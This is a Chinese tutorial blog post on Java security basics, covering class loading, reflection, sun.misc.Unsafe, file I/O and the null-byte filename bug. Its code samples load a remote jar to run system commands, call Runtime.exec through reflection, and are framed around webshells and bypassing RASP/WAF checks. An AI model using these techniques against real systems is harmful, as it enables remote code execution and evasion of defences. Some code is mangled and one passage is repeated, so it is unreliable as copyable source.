Java安全(一) : java类 | 反射

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

在这里插入图片描述

1.java基础

Java平台共分为三个主要版本Java SE(Java Platform, Standard Edition,Java平台标准版)、Java EE(Java Platform Enterprise Edition,Java平台企业版)、和Java ME(Java Platform, Micro Edition,Java平台微型版)。

2. java类

2.1Classloader 类加载机制

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。
在这里插入图片描述

2.2.java类

Java是编译型语言,我们编写的java文件需要编译成后class文件后才能够被JVM运行,学习ClassLoader之前我们先简单了解下Java类。
示例TestHelloWorld.java:

示例TestHelloWorld.java:

package com;/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestHelloWorld {public void hello() {
System.out.println("Hello, World!");}}

编译TestHelloWorld.java:javac TestHelloWorld.java
我们可以通过JDK自带的javap命令反汇编TestHelloWorld.class文件对应的com.anbai.sec.classloader.TestHelloWorld类,以及使用Linux自带的hexdump命令查看TestHelloWorld.class文件二进制内容:

在这里插入图片描述
JVM在执行TestHelloWorld之前会先解析class二进制内容,JVM执行的其实就是如上javap命令生成的字节码(ByteCode)。

2.3. ClassLoader

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器),AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader。
值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。
ClassLoader类有如下核心方法:
1.
loadClass(加载指定的Java类)
2.
findClass(查找指定的Java类)
3.
findLoadedClass(查找JVM已经加载过的类)
4.
defineClass(定义一个Java类)
5.
resolveClass(链接指定的Java类)

2.4 Java类动态加载方式

Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载

// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName(“类名”)默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用
Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法

2.5. ClassLoader类加载流程

理解Java类加载机制并非易事,这里我们以一个Java的HelloWorld来学习ClassLoader。
ClassLoader加载com.anbai.sec.classloader.TestHelloWorld类重要流程如下:
1.
ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
2.
调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
3.
如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
4.
如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
5.
如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
6.
如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
7.
返回一个被JVM加载后的java.lang.Class类对象。

2.6 自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,
java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的
java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。
既然已知ClassLoader具备了加载类的能力,那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld类为例)并调用hello方法。
如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出

TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);

但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

TestClassLoader示例代码:

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://javaweb.org/tools/cmd.jar");// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定义需要执行的系统命令
String cmd = "ls";// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}}

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

2.7: URLClassLoader

URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

  • TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://javaweb.org/tools/cmd.jar");// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定义需要执行的系统命令
String cmd = "ls";// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}}

远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:

import java.io.IOException;/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}}

程序执行结果如下:

README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml

3 j ava反射机制:

3.1 java反射机制

Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。

3.2 获取class对象:

Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:

1.类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class。
2. Class.forName("com.anbai.sec.classloader.TestHelloWorld")。
3. classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");

获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:

Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class

获取Runtime类Class对象代码片段:

String className     = "java.lang.Runtime";
Class  runtimeClass1 = Class.forName(className);
Class  runtimeClass2 = java.lang.Runtime.class;
Class  runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象了,反射调用内部类的时候需要使用来代替.,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test来代替.,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test来代替.,com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.TestHello。

3.2 反射java.lang.Runtime

java.lang.Runtime 因为有一个exec方法可以执行本地命令,所以在很多payload都可以看到反射调用Runtime嘞来执行本地系统命令,学习如何反射Runtime类可以让我理解反射的一些基本用法

不实用反射执行本地命令的代码片段:

// 输出命令执行结果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(),"UTF-8"));

可以看到使用一行代码完成本地吗执行操作,如果是使用反射就比较麻烦了,我们不得不需要间接性的调用Runtime的exec方法

反射Runtime执行本地命令代码片段:

// 获取Runtime类对象Class runtimeClass1 = Class.forName("java.lang.Runtime");// 获取构造方法Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);// 创建Runtime类示例,等价于 Runtime rt = new Runtime();Object runtimeInstance = constructor.newInstance();// 获取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);// 调用exec方法,等价于 rt.exec(cmd);Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 获取命令执行结果InputStream in = process.getInputStream();// 输出命令执行结果System.out.println(IOUtils.toString(in, "UTF-8"));

反射调用Runtime实现本地命令执行的流程如下:
1.
反射获取Runtime类对象(Class.forName(“java.lang.Runtime”))。
2.
使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。
3.
获取Runtime类的exec(String)方法(runtimeClass1.getMethod(“exec”, String.class)😉。
4.
调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。

上面的代码每一步都写了非常清晰的注释,接下来我们将进一步深入的了解下每一步具体含义。

反射创建类实例
在Java的任何一个类都必须有一个或多个构造方法,如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。

 - Runtime类构造方法示例代码片段:
public class Runtime{
/** Don't let anyone else instantiate this class */
private Runtime(){}}

从上面的Runtime类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以我们没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime();的方式创建Runtime对象,但示例中我们借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime对象。

runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组,如:clazz.getDeclaredConstructor(String.class, String.class)。

如果我们想获取类的所有构造方法可以使用:clazz.getDeclaredConstructors来获取一个Constructor数组。
获取到Constructor以后我们可以通过constructor.newInstance()来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:constructor.newInstance(“admin”, “123456”)。当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。

4. sun.misc.Unsafe

4.1 sun.misc.Unsafe

sun.misc.Unsafe是Java底层API(仅限Java内部使用,反射可调用)提供的一个神奇的Java类,Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的,本节只讲解如何使用Unsafe定义Java类、创建类实例。

4.2 获取Unsafe对象

Unsafe是Java内部API,外部是禁止调用的,在编译Java类时如果检测到引用了Unsafe类也会有禁止使用的警告:Unsafe是内部专用 API, 可能会在未来发行版中删除。
sun.misc.Unsafe代码片段:

在这里插入代码片
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;public final class Unsafe {private static final Unsafe theUnsafe;static {theUnsafe = new Unsafe();省去其他代码......}private Unsafe() {}@CallerSensitive  <!--使用CallerSensitive后,getCallerClass不再用固定深度去寻找actual caller(“我”),而是把所有跟反射相关的接口方法都标注上CallerSensitive,搜索时凡看到该注解都直接跳过,防止恶意构造双重反射来提升权限-->public static Unsafe getUnsafe() {Class var0 = Reflection.getCallerClass();if (var0.getClassLoader() != null) {throw new SecurityException("Unsafe");} else {return theUnsafe;}}省去其他代码......
}

由上代码片段可以看到,Unsafe类是一个不能被继承的类且不能直接通过new的方式创建Unsafe类实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,默认只允许Bootstrap Classloader调用。
既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。

  • 反射获取Unsafe类实例代码片段:
// 反射获取Unsafe的theUnsafe成员变量Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);// 反射获取theUnsafe成员变量值Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

当然我们也可以用反射创建Unsafe类实例的方式去获取Unsafe对象:

// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();// 修改构造方法访问权限
constructor.setAccessible(true);// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInsta

nce();

4.3 allocateInstance无视构造方法创建类实例

假设我们有一个叫com.anbai.sec.unsafe.UnSafeTest的类,因为某种原因我们不能直接通过反射的方式去创建UnSafeTest类实例,那么这个时候使用Unsafe的allocateInstance方法就可以绕过这个限制了。

  • UnSafeTest代码片段:
UnSafeTest代码片段:public class UnSafeTest {private UnSafeTest() {// 假设RASP在这个构造方法中插入了Hook代码,我们可以利用Unsafe来创建类实例System.out.println("init...");}

}

使用Unsafe创建UnSafeTest对象:

// 使用Unsafe创建UnSafeTest类实例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);

Google的GSON库在JSON反序列化的时候就使用这个方式来创建类实例,在渗透测试中也会经常遇到这样的限制,比如RASP限制了java.io.FileInputStream类的构造方法导致我们无法读文件或者限制了UNIXProcess/ProcessImpl类的构造方法导致我们无法执行本地命令等。

4.4 defineClass直接调用JVM创建类对象

ClassLoader章节我们讲了通过ClassLoader类的defineClass0/1/2方法我们可以直接向JVM中注册一个类,如果ClassLoader被限制的情况下我们还可以使用Unsafe的defineClass方法来实现同样的功能。
Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);

  • 使用Unsafe创建TestHelloWorld对象:
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME,
TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
  • 或调用需要传入类加载器和保护域的方法:
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, classLoader, null
);// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);

Unsafe 还可以通过 defineAnonymousClass 方法创建内部类,此处不再多做测试

注意:
这个实例仅适用于 java 8 以前的版本,在java 8 中应该使用调用需要传类加载器和保护域的那个方法。 java 11 开始 Unsafe 已经把defineClass 方法移除了 (defineAnonmousClass方法还在), 虽然可以使用java.lang.invoke.MethodHandles.Loosup.defineClass 代替,但是 MethodHandles 只是间接调用了 ClassLoader 的 defineClass。 所以一切都回到了ClassLoader

5.java文件系统

众所周知Java是一个跨平台的语言,不同的操作系统有着完全不一样的文件系统和特性。JDK会根据不同的操作系统(AIX,Linux,MacOSX,Solaris,Unix,Windows)编译成不同的版本。
在Java语言中对文件的任何操作最终都是通过JNI调用C语言函数实现的。Java为了能够实现跨操作系统对文件进行操作抽象了一个叫做FileSystem的对象出来,不同的操作系统只需要实现起抽象出来的文件操作方法即可实现跨平台的文件操作了。

6.java FileSystem

6.1 Java FileSystem

Java SE 中内置了两类文件系统: java.io 和 java.nio, java.nio 实现的是 sun.nio , 文件系统底层的API实现:
在这里插入图片描述

6.2 Java.IO 文件系统

Java抽象出了一个叫做文件系统的对象:java.io.FileSystem,不同的操作系统有不一样的文件系统,例如Windows和Unix就是两种不一样的文件系统: java.io.UnixFileSystem、java.io.WinNTFileSystem。

在这里插入图片描述

java.io.FileSystem是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。

在这里插入图片描述示例中的java.io.UnixFileSystem最终会通过JNI调用native方法来实现对文件的操作:

在这里插入图片描述由此我们可以得出Java只不过是实现了对文件操作的封装而已,最终读写文件的实现都是通过调用native方法实现的。
不过需要特别注意一下几点:

1.并不是所有的文件操作都在java.io.FileSystem中定义,文件的读取最终调用的是

java.io.FileInputStream#read0、readBytes、
java.io.RandomAccessFile#read0、readBytes,
而写文件调用的是java.io.FileOutputStream#writeBytes、java.io.RandomAccessFile#write0。

2.Java有两类文件系统API!一个是基于阻塞模式的IO的文件系统,另一是JDK7+基于NIO.2的文件系统。
6.3 java NIO.2文件系统
Java 7提出了一个基于NIO的文件系统,这个NIO文件系统和阻塞IO文件系统两者是完全独立的。java.nio.file.spi.FileSystemProvider对文件的封装和java.io.FileSystem同理。

在这里插入图片描述
NIO的文件操作在不同的系统的最终实现类也是不一样的,比如Mac的实现类是: sun.nio.fs.UnixNativeDispatcher,
而Windows的实现类是sun.nio.fs.WindowsNativeDispatcher。
合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了java.io.FileSystem的WAF/RASP。

7.Java IO/NIO多种读写文件方式

7.1

上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO,本章节我将列举一些我们常用于读写文件的方式。
我们通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystem。java.io.FileInputStream类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream类,比如:java.io.FileReader。

7.2 FileInputStream

使用FileInputStream实现文件读取Demo:

package com.anbai.sec.filesystem;import java.io.*;/**
*
*
*/
public class FileInputStreamDemo {public static void main(String[] args) throws IOException {
File file = new File("D:\\test/test.txt");// 打开文件对象并创建文件输入流
FileInputStream fis = new FileInputStream(file);// 定义每次输入流读取到的字节数对象
int a = 0;// 定义缓冲区大小
byte[] bytes = new byte[1024];// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();// 循环读取文件内容
while ((a = fis.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}System.out.println(out.toString());
}}

输出结果如下:

在这里插入图片描述
调用链如下:

java.io.FileInputStream.readBytes(FileInputStream.java:219)
java.io.FileInputStream.read(FileInputStream.java:233)
com.anbai.sec.filesystem.FileInputStreamDemo.main(FileInputStreamDemo.java:27)

其中的readBytes是native方法,文件的打开、关闭等方法也都是native方法:
naticve方法: 一个Native Method就是一个java调用非java代码的接口。一个Native Method是这样一个java的方法:该方法的实现由非java语言实现,比如C

  • java.io.FileInputStream类对应的native实现如下:
JNIEXPORT void JNICALL
Java_java_io_FileInputStream_open0(JNIEnv *env, jobject this, jstring path) {fileOpen(env, this, path, fis_fd, O_RDONLY);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_read0(JNIEnv *env, jobject this) {return readSingle(env, this, fis_fd);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_readBytes(JNIEnv *env, jobject this,jbyteArray bytes, jint off, jint len) {return readBytes(env, this, bytes, off, len, fis_fd);
}JNIEXPORT jlong JNICALL
Java_java_io_FileInputStream_skip0(JNIEnv *env, jobject this, jlong toSkip) {jlong cur = jlong_zero;jlong end = jlong_zero;FD fd = GET_FD(this, fis_fd);if (fd == -1) {JNU_ThrowIOException (env, "Stream Closed");return 0;}if ((cur = IO_Lseek(fd, (jlong)0, (jint)SEEK_CUR)) == -1) {JNU_ThrowIOExceptionWithLastError(env, "Seek error");} else if ((end = IO_Lseek(fd, toSkip, (jint)SEEK_CUR)) == -1) {JNU_ThrowIOExceptionWithLastError(env, "Seek error");}return (end - cur);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_available0(JNIEnv *env, jobject this) {jlong ret;FD fd = GET_FD(this, fis_fd);if (fd == -1) {JNU_ThrowIOException (env, "Stream Closed");return 0;}if (IO_Available(fd, &ret)) {if (ret > INT_MAX) {ret = (jlong) INT_MAX;} else if (ret < 0) {ret = 0;}return jlong_to_jint(ret);}JNU_ThrowIOExceptionWithLastError(env, NULL);return 0;
}

完整代码参考OpenJDK:openjdk/src/java.base/share/native/libjava/FileInputStream.c

7.3 FileOutputStream

  • 使用FileOutputStream实现写文件Demo:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FileOutputStreamDemo {public static void main(String[] args) throws IOException {// 定义写入文件路径File file = new File("D://test/test.txt");// 定义待写入文件内容String content = "Hello World.";// 创建FileOutputStream对象FileOutputStream fos = new FileOutputStream(file);// 写入内容二进制到文件fos.write(content.getBytes());fos.flush();fos.close();}}

代码逻辑比较简单: 打开文件->写内容->关闭文件,调用链和底层实现分析请参考FileInputStream。

7.4 RandomAccessFile

Java提供了一个非常有趣的读取文件内容的类: java.io.RandomAccessFile,这个类名字面意思是任意文件内容访问,特别之处是这个类不仅可以像java.io.FileInputStream一样读取文件,而且还可以写文件。
RandomAccessFile读取文件测试代码:

package com.anbai.sec.filesystem;import java.io.*;/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessFileDemo {public static void main(String[] args) {
File file = new File("D://test/test.txt");try {
// 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file, "r");// 定义每次输入流读取到的字节数对象
int a = 0;// 定义缓冲区大小
byte[] bytes = new byte[1024];// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();// 循环读取文件内容
while ((a = raf.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}System.out.println(out.toString());
} catch (IOException e) {
e.printStackTrace();
}
}}

任意文件读取特性体现在如下方法:

// 获取文件描述符
public final FileDescriptor getFD() throws IOException// 获取文件指针
public native long getFilePointer() throws IOException;// 设置文件偏移量
private native void seek0(long pos) throws IOException;

java.io.RandomAccessFile类中提供了几十个readXXX方法用以读取文件系统,最终都会调用到read0或者readBytes方法,我们只需要掌握如何利用RandomAccessFile读/写文件就行了。

  • RandomAccessFile写文件测试代码:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessWriteFileDemo {public static void main(String[] args) {
File file = new File("D://test/test.txt");// 定义待写入文件内容
String content = "Hello World.";try {
// 创建RandomAccessFile对象,rw表示以读写模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file, "rw");// 写入内容二进制到文件
raf.write(content.getBytes());
raf.close();
} catch (IOException e) {
e.printStackTrace();
}
}}

在这里插入图片描述

7.5 FileSystemProvider

前面章节提到了JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider,利用FileSystemProvider我们可以利用支持异步的通道(Channel)模式读取文件内容。

  • FileSystemProvider读取文件内容示例:
package com.anbai.sec.filesystem;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesDemo {public static void main(String[] args) {
// 通过File对象定义读取的文件路径
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();// 定义读取的文件路径
Path path = Paths.get("D://test/test.txt");try {
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(bytes));
} catch (IOException e) {
e.printStackTrace();
}
}}

在这里插入图片描述
java.nio.file.Files是JDK7开始提供的一个对文件读写取非常便捷的API,其底层实在是调用了java.nio.file.spi.FileSystemProvider来实现对文件的读写的。最为底层的实现类是sun.nio.ch.FileDispatcherImpl#read0。
基于NIO的文件读取逻辑是:

  • 打开FileChannel->读取Channel内容。
sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89)
sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148)
sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212)
java.nio.file.Files.newByteChannel(Files.java:361)
java.nio.file.Files.newByteChannel(Files.java:407)
java.nio.file.Files.readAllBytes(Files.java:3152)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)

文件读取的调用链为:

sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103)
java.nio.file.Files.read(Files.java:3105)
java.nio.file.Files.readAllBytes(Files.java:3158)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
  • FileSystemProvider写文件示例:
package com.anbai.sec.filesystem;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesWriteDemo {public static void main(String[] args) {
// 通过File对象定义读取的文件路径
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();// 定义读取的文件路径
Path path = Paths.get("D://test/test.txt");// 定义待写入文件内容
String content = "Hello World.";try {
// 写入内容二进制到文件
Files.write(path, content.getBytes());
} catch (IOException e) {
e.printStackTrace();
}
}}

在这里插入图片描述

7.6 文件读写总结:

Java内置的文件读取方式大概就是这三种方式,其他的文件读取API可以说都是对这几种方式的封装而已(依赖数据库、命令执行、自写JNI接口不算,本人个人理解,如有其他途径还请告知)。本章我们通过深入基于IO和NIO的Java文件系统底层API,希望大家能够通过以上Demo深入了解到文件读写的原理和本质。

8 Java文件名空字节截断漏洞

8.1 Java文件名空字节截断漏洞

空字节截断漏洞漏洞在诸多编程语言中都存在,究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。

8.2 文件名空字节漏洞历史

2013年9月10日发布的Java SE 7 Update 40修复了空字节截断这个历史遗留问题。此次更新在java.io.File类中添加了一个isInvalid方法,专门检测文件名中是否包含了空字节

/**
* Check if the file has an invalid path. Currently, the inspection of
* a file path is very limited, and it only covers Nul character check.
* Returning true means the path is definitely invalid/garbage. But
* returning false does not guarantee that the path is valid.
*
* @return true if the file path is invalid.
*/
final boolean isInvalid() {if (status == null) {status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED: PathStatus.INVALID;}return status == PathStatus.INVALID;
}

修复的JDK版本所有跟文件名相关的操作都调用了isInvalid方法检测,防止文件名空字节截断。在这里插入图片描述

修复前(Java SE 7 Update 25)和修复后(Java SE 7 Update 40)的对比会发现Java SE 7 Update 25中的java.io.File类中并未添加\u0000的检测。
在这里插入图片描述
受空字节截断影响的JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。

参考:

https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846
https://zh.wikipedia.org/wiki/Java版本歷史
https://www.oracle.com/technetwork/java/javase/archive-139210.html

8.3 Java文件名空截断测试

测试类FileNullBytes.java:

package com.anbai.sec.filesystem;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;/**
* @author yz
*/
public class FileNullBytes {public static void main(String[] args) {
try {
String fileName = "D://test/test.txt\u0000.jpg";
FileOutputStream fos = new FileOutputStream(new File(fileName));
fos.write("Test".getBytes());
fos.flush();
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}}

